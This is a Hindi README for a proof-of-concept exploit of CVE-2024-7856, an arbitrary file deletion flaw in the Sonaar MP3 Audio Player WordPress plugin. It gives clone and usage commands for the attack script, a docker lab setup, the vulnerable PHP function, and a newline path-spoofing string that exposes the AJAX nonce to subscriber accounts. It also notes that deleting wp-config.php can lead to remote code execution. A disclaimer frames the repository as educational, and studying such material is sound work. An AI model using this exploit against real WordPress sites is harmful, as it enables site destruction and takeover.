
CVE-2024-7856 के लिए प्रूफ-ऑफ-कॉन्सेप्ट
★ CVE-2024-7856 मनमाना फ़ाइल विलोपन PoC ★
CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – प्रमाणित (सब्सक्राइबर+) उपयोगकर्ताओं के लिए मनमाना फ़ाइल विलोपन हेतु प्राधिकरण की कमी
शोधकर्ता: Arkadiusz Hydzik
विवरण: MP3 Audio Player Music Player, Podcast Player & Radio by Sonaar WordPress प्लगइन, removeTempFiles() फ़ंक्शन पर क्षमता जाँच की कमी और 'file' पैरामीटर पर अपर्याप्त पथ सत्यापन के कारण, 5.7.0.1 तक के सभी संस्करणों में, अनधिकृत मनमाना फ़ाइल विलोपन की भेद्यता से ग्रस्त है। यह प्रमाणित हमलावरों को, सब्सक्राइबर-स्तर या उससे ऊपर की पहुँच के साथ, मनमानी फ़ाइलें हटाने में सक्षम बनाता है, जिससे wp-config.php हटाए जाने पर रिमोट कोड निष्पादन संभव हो सकता है।
git clone https://github.com/l8BL/CVE-2024-7856.git
cd CVE-2024-7856
pip install -r requirements.txt
# Arbitrary file deletion
python3 CVE-2024-7856.py -u <URL_TO_EXPLOIT> -f <FILE_TO_DELETE>
python3 CVE-2024-7856.py -u <URL_TO_EXPLOIT> -f <FILE_TO_DELETE> -i <USER_ID_TO_LOGIN> -p <USER_PW_TO_LOGIN>
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test -i EQSTtester -p q1w2e3r4t5y!
CVE-2024-7856.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
docker cp mp3-music-player-by-sonaar docker-wordpress-1:/var/www/html/wp-content/plugins
public function removeTempFiles(){
// will unlink the temporary peak file and generate another one automatically.
check_ajax_referer('sonaar_music_admin_ajax_nonce', 'nonce');
$is_temp = filter_input(INPUT_POST, 'is_temp', FILTER_VALIDATE_BOOLEAN);
$file = filter_input(INPUT_POST, 'file', FILTER_SANITIZE_STRING);
if ($is_temp && $file) {
$upload_dir = wp_get_upload_dir();
$peaks_dir = $this->get_peak_dir();
$file_path_temp = str_replace($upload_dir['baseurl'] . $this->get_peak_dir(true), $peaks_dir, $file);
if (strpos($file_path_temp, $peaks_dir) === 0 && file_exists($file_path_temp)) {
wp_delete_file($file_path_temp);
}
}
}
if (strpos($hook, SR_PLAYLIST_CPT . '_page_srmp3_settings_') === 0) {
wp_enqueue_script( 'cmb2_image_select_metafield-js', plugin_dir_url( __FILE__ ) . 'library/cmb2-image-select-field-type/image_select_metafield.js' , '', '1.0.0', true ); // Used for plugin settings page only. it does not work on group repeater fields
wp_enqueue_script( 'sonaar-music', plugin_dir_url( __DIR__ ) . 'public/js/sonaar-music-public.js', array( 'jquery' ), $this->version, true ); // used for peak generation
wp_localize_script('sonaar-admin', 'sonaar_music', array(
'plugin_version_free'=> SRMP3_VERSION,
'plugin_version_pro'=> ( defined( 'SRMP3PRO_VERSION' ) ? SRMP3PRO_VERSION : 'Not Installed' ),
'ajax' => array(
'ajax_url' => admin_url( 'admin-ajax.php' ),
'ajax_nonce' => wp_create_nonce( 'sonaar_music_admin_ajax_nonce' ),
'ajax_nonce_peaks' => wp_create_nonce( 'sonaar_music_ajax_peaks_nonce' ),
),
));
}
'पथ की स्पूफ़िंग' : /wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_
अधिकृत उपयोगकर्ता के साथ, आप मनमाना फ़ाइल विलोपन का शोषण कर सकते हैं।
यह रिपॉज़िटरी CVE-2024-7856 के लिए मनमाना फ़ाइल विलोपन शोषण होने का इरादा नहीं है। इस परियोजना का उद्देश्य लोगों को इस भेद्यता के बारे में सीखने में मदद करना है, और शायद अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।